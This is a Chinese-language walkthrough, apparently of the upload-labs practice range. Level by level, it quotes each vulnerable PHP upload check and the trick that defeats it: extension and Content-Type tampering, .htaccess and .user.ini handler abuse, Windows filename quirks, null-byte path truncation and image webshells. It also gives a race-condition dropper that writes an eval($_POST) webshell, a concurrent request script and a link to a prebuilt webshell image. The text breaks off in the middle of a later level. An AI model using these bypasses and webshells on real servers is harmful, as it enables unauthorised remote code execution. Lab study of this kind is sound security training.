方法不唯一
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile () {
var file = document . getElementsByName ( 'upload_file' )[ 0 ]. value ;
if ( file == null || file == "" ) {
alert ( "请选择要上传的文件!" );
return false ;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif" ;
//提取上传文件的类型
var ext_name = file . substring ( file . lastIndexOf ( "." ));
//判断上传文件类型是否允许上传
if ( allow_ext . indexOf ( ext_name + "|" ) == - 1 ) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name ;
alert ( errMsg );
return false ;
}
}
方法一:删除文件提交时触发的检测函数
方法二:先将木马改成.jpg
,开启BurpSuite抓包,上传文件,将抓到的请求包里的文件后缀名改成.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
if (( $_FILES [ 'upload_file' ][ 'type' ] == 'image/jpeg' ) || ( $_FILES [ 'upload_file' ][ 'type' ] == 'image/png' ) || ( $_FILES [ 'upload_file' ][ 'type' ] == 'image/gif' )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $_FILES [ 'upload_file' ][ 'name' ]
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '文件类型不正确,请重新上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
开启抓包,上传文件,将Content-Type: application/octet-stream
改成Content-Type:image/jpeg
Content-Type:
image/jpeg
:jpg 图片格式
image/png
:png 图片格式
image/gif
:gif 图片格式
text/plain
:纯文本格式
text/xml
: XML 格式
text/html
: HTML 格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( '.asp' , '.aspx' , '.php' , '.jsp' );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
$file_ext = trim ( $file_ext ); //收尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
将文件的拓展名改成等价拓展名再上传:
asp => asa、cer、cdx
aspx => ashx、asmx、ascx
php => php2、php3、php4、php5、phps、phtml
jsp => jspx、jspf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".php1" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".pHp1" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".ini" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
$file_ext = trim ( $file_ext ); //收尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件不允许上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
上传一个 .htaccess 解析文件,利用其配置,将某个白名单文件的类型解析成 php 文件类型。
例如将 webshell
改成 jpg 格式( webshell.jpg
),上传。
创建一个.htaccess
文件,内容如下:
1
2
3
<FilesMatch "webshell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
将 .htaccess 文件上传到服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
$file_ext = trim ( $file_ext ); //首尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件类型不允许上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
发现没有被限制的后缀名有 .php7
以及 .ini
先上传个webshell.jpg
,再上传个.user.ini
。
.user.ini
的内容:
1
auto_prepend_file = webshell.jpg
把webshell.jpg
当作PHP执行
php.ini
是 php 的配置文件,.user.ini
中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
$file_ext = trim ( $file_ext ); //首尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件类型不允许上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
缺少大小写转换,将 webshell.php
改成 webshell.PHP
。
Windows 系统下,对于文件名中的大小写不敏感。而这次的检测代码对大小写是敏感的,从而绕过
例如: webshell.php 和 webshell.PHP是一 样的,但程序的黑名单没有 .PHP
。
Linux 系统下,对于文件名中的大小写敏感。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );
$file_name = $_FILES [ 'upload_file' ][ 'name' ];
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件不允许上传' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
对上传的文件名未做去空格的操作。
上传 Webshell.php
,BurpSuite 抓包,在文件拓展名最后加上空格。
Windows 系统下,对于文件名中空格会被作为空处理,但程序中的检测代码却不能自动删除 空格。从而绕过黑名单。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
$file_ext = trim ( $file_ext ); //首尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件类型不允许上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
Windows 系统下,文件后缀名最后一个点会被自动去除,但是这关的代码没有处理文件后缀名最后一个点,所以可以重命名为Webshell.php.
来绕过检测。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = trim ( $file_ext ); //首尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件类型不允许上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
对上传的文件后缀名未做去除::$DATA
处理
Windows 系统下,如果上传的文件名为 Webshell.php::$DATA
会在服务器上生成一个 Webshell.php
的文件,其中内容和所上传文件内容相同,并被解析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = deldot ( $file_name ); //删除文件名末尾的点
$file_ext = strrchr ( $file_name , '.' );
$file_ext = strtolower ( $file_ext ); //转换为小写
$file_ext = str_ireplace ( '::$DATA' , '' , $file_ext ); //去除字符串::$DATA
$file_ext = trim ( $file_ext ); //首尾去空
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '此文件类型不允许上传!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
因为代码是先删一个.
再删一个
然后再拿文件后缀名去黑名单里比较,所以可以将 Webshell.php
重命名为 Webshell.php. .
这样在上传后等到和黑名单比较时文件名为 Webshell.php.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( "php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" , "ini" );
$file_name = trim ( $_FILES [ 'upload_file' ][ 'name' ]);
$file_name = str_ireplace ( $deny_ext , "" , $file_name );
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
代码利用 str_ireplace()
将文件名中符合黑名单的字符串替换成空。
将 Webshell.php
重命名为 Webshell.pphphp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
$ext_arr = array ( 'jpg' , 'png' , 'gif' );
$file_ext = substr ( $_FILES [ 'upload_file' ][ 'name' ], strrpos ( $_FILES [ 'upload_file' ][ 'name' ], "." ) + 1 );
if ( in_array ( $file_ext , $ext_arr )){
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = $_GET [ 'save_path' ] . "/" . rand ( 10 , 99 ) . date ( "YmdHis" ) . "." . $file_ext ;
if ( move_uploaded_file ( $temp_file , $img_path )){
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!" ;
}
}
使用白名单限制上传文件类型,但上传文件的存放路径可控
利用方法:抓包,设置上传路径为 upload/webshell.php%00
,上传文件为webshell.jpg
,保存后为 /upload/webshell.php%00webshell.jpg
,但服务端读取到%00
时会自动结束,将文件 内容保存至 webshell.php
中。
前提:
php版本要小于5.3.4。
文件路径可控。
magic_quotes_gpc需要为OFF状态。(在php.ini中)
%00
为Unicode形式的截断符,用于GET型控制路径。0x00
为16进制的截断符,用于POST型控制路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
$ext_arr = array ( 'jpg' , 'png' , 'gif' );
$file_ext = substr ( $_FILES [ 'upload_file' ][ 'name' ], strrpos ( $_FILES [ 'upload_file' ][ 'name' ], "." ) + 1 );
if ( in_array ( $file_ext , $ext_arr )){
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = $_POST [ 'save_path' ] . "/" . rand ( 10 , 99 ) . date ( "YmdHis" ) . "." . $file_ext ;
if ( move_uploaded_file ( $temp_file , $img_path )){
$is_upload = true ;
} else {
$msg = "上传失败" ;
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!" ;
}
}
与上一关类似,不同的是通过POST请求来控制路径。
POST请求添加截断字符的方法:
先在路径upload/webshell.php
后面打个+
=> upload/webshell.php+
将包的内容转成16进制(选择Hex)
找到+
的位置(+
的16进制是2b
)
将2b
改成00
其他的做法跟上一关基本一致。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType ( $filename ){
$file = fopen ( $filename , "rb" );
$bin = fread ( $file , 2 ); //只读2字节
fclose ( $file );
$strInfo = @ unpack ( "C2chars" , $bin );
$typeCode = intval ( $strInfo [ 'chars1' ] . $strInfo [ 'chars2' ]);
$fileType = '' ;
switch ( $typeCode ){
case 255216 :
$fileType = 'jpg' ;
break ;
case 13780 :
$fileType = 'png' ;
break ;
case 7173 :
$fileType = 'gif' ;
break ;
default :
$fileType = 'unknown' ;
}
return $fileType ;
}
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$file_type = getReailFileType ( $temp_file );
if ( $file_type == 'unknown' ){
$msg = "文件未知,上传失败!" ;
} else {
$img_path = UPLOAD_PATH . "/" . rand ( 10 , 99 ) . date ( "YmdHis" ) . "." . $file_type ;
if ( move_uploaded_file ( $temp_file , $img_path )){
$is_upload = true ;
} else {
$msg = "上传出错!" ;
}
}
}
代码通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型。
利用图片马绕过检测。
图片马制作:
在 cmd 里执行 copy logo.jpg/b+webshell.php/a webshell.jpg
logo.jpg 为任意图片
webshell.php 为我们要插入的木马代码
webshell.jpg 为我们要创建的图片马
要利用图片马必须要用到文件包含漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function isImage ( $filename ){
$types = '.jpeg|.png|.gif' ;
if ( file_exists ( $filename )){
$info = getimagesize ( $filename );
$ext = image_type_to_extension ( $info [ 2 ]);
if ( stripos ( $types , $ext ) >= 0 ){
return $ext ;
} else {
return false ;
}
} else {
return false ;
}
}
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$res = isImage ( $temp_file );
if ( ! $res ){
$msg = "文件未知,上传失败!" ;
} else {
$img_path = UPLOAD_PATH . "/" . rand ( 10 , 99 ) . date ( "YmdHis" ) . $res ;
if ( move_uploaded_file ( $temp_file , $img_path )){
$is_upload = true ;
} else {
$msg = "上传出错!" ;
}
}
}
代码通过 getimagesize()
获取上传文件信息。
利用图片马绕过检测。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function isImage ( $filename ){
//需要开启php_exif模块
$image_type = exif_imagetype ( $filename );
switch ( $image_type ) {
case IMAGETYPE_GIF :
return "gif" ;
break ;
case IMAGETYPE_JPEG :
return "jpg" ;
break ;
case IMAGETYPE_PNG :
return "png" ;
break ;
default :
return false ;
break ;
}
}
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$res = isImage ( $temp_file );
if ( ! $res ){
$msg = "文件未知,上传失败!" ;
} else {
$img_path = UPLOAD_PATH . "/" . rand ( 10 , 99 ) . date ( "YmdHis" ) . "." . $res ;
if ( move_uploaded_file ( $temp_file , $img_path )){
$is_upload = true ;
} else {
$msg = "上传出错!" ;
}
}
}
代码利用exif_imagetype()
读取一个图像的第一个字节并检查其后缀名。
利用图片马绕过检测。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES [ 'upload_file' ][ 'name' ];
$filetype = $_FILES [ 'upload_file' ][ 'type' ];
$tmpname = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$target_path = UPLOAD_PATH . '/' . basename ( $filename );
// 获得上传文件的扩展名
$fileext = substr ( strrchr ( $filename , "." ), 1 );
//判断文件后缀与类型,合法才进行上传操作
if (( $fileext == "jpg" ) && ( $filetype == "image/jpeg" )){
if ( move_uploaded_file ( $tmpname , $target_path )){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg ( $target_path );
if ( $im == false ){
$msg = "该文件不是jpg格式的图片!" ;
@ unlink ( $target_path );
} else {
//给新图片指定文件名
srand ( time ());
$newfilename = strval ( rand ()) . ".jpg" ;
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH . '/' . $newfilename ;
imagejpeg ( $im , $img_path );
@ unlink ( $target_path );
$is_upload = true ;
}
} else {
$msg = "上传出错!" ;
}
} else if (( $fileext == "png" ) && ( $filetype == "image/png" )){
if ( move_uploaded_file ( $tmpname , $target_path )){
//使用上传的图片生成新的图片
$im = imagecreatefrompng ( $target_path );
if ( $im == false ){
$msg = "该文件不是png格式的图片!" ;
@ unlink ( $target_path );
} else {
//给新图片指定文件名
srand ( time ());
$newfilename = strval ( rand ()) . ".png" ;
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH . '/' . $newfilename ;
imagepng ( $im , $img_path );
@ unlink ( $target_path );
$is_upload = true ;
}
} else {
$msg = "上传出错!" ;
}
} else if (( $fileext == "gif" ) && ( $filetype == "image/gif" )){
if ( move_uploaded_file ( $tmpname , $target_path )){
//使用上传的图片生成新的图片
$im = imagecreatefromgif ( $target_path );
if ( $im == false ){
$msg = "该文件不是gif格式的图片!" ;
@ unlink ( $target_path );
} else {
//给新图片指定文件名
srand ( time ());
$newfilename = strval ( rand ()) . ".gif" ;
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH . '/' . $newfilename ;
imagegif ( $im , $img_path );
@ unlink ( $target_path );
$is_upload = true ;
}
} else {
$msg = "上传出错!" ;
}
} else {
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ;
}
}
代码对上传图片判断后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染
。
解决方法:将木马放在不会被二次渲染清除的地方,这个位置需要去不断尝试。推荐用别人做好的图片马:
https://wwe.lanzoui.com/iFSwwn53jaf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])){
$ext_arr = array ( 'jpg' , 'png' , 'gif' );
$file_name = $_FILES [ 'upload_file' ][ 'name' ];
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$file_ext = substr ( $file_name , strrpos ( $file_name , "." ) + 1 );
$upload_file = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $upload_file )){
if ( in_array ( $file_ext , $ext_arr )){
$img_path = UPLOAD_PATH . '/' . rand ( 10 , 99 ) . date ( "YmdHis" ) . "." . $file_ext ;
rename ( $upload_file , $img_path );
$is_upload = true ;
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!" ;
unlink ( $upload_file );
}
} else {
$msg = '上传出错!' ;
}
}
代码先将上传的 文件保存在服务器的临时路径里,再通过检查来判断是否转移到正式路径。
从保存到临时路径到未通过检测、删除文件之间有个短暂的时间差,在此之前的文件是存在服务器上的,所以可以不断上传一个可以在生成webshell.php的文件,同时不断去访问这个文件,总有几率在文件未被删除时访问到文件,激活代码,产生一个webshell.php。
文件内容为:
1
2
3
<? php
fputs ( fopen ( 'webshell.php' , 'w' ), '<?php @eval($_POST["wtlr"]) ?>' );
?>
重复发包的方法:
将抓到的包转到Intruder模块:
线程随便设置一下:
最后点击**“Start attack”**就可以不断发包了。
重复访问url的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import concurrent.futures
def visit_website ( url , request_number ):
try :
with requests . Session () as session :
response = session . get ( url )
if response . status_code == 200 :
print ( f "Request { request_number } - Status code: { response . status_code } " )
else :
print ( f "Request { request_number } - Error: { response . status_code } " )
except requests . exceptions . RequestException as e :
print ( f "Request { request_number } - An error occurred:" , str ( e ))
# 用户输入要访问的网站地址、请求数量和延迟时间
url = input ( "请输入要访问的网站地址(包括协议):" )
num_requests = int ( input ( "请输入请求数量:" ))
delay = float ( input ( "请输入每次请求的延迟时间(以秒为单位):" ))
# 创建线程池
with concurrent . futures . ThreadPoolExecutor () as executor :
# 提交任务到线程池
future_to_url = { executor . submit ( visit_website , url , i + 1 ): i + 1 for i in range ( num_requests )}
# 获取任务结果
for future in concurrent . futures . as_completed ( future_to_url ):
try :
future . result ()
except Exception as e :
print ( "An error occurred:" , str ( e ))
# 控制请求间隔
time . sleep ( delay )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false ;
$msg = null ;
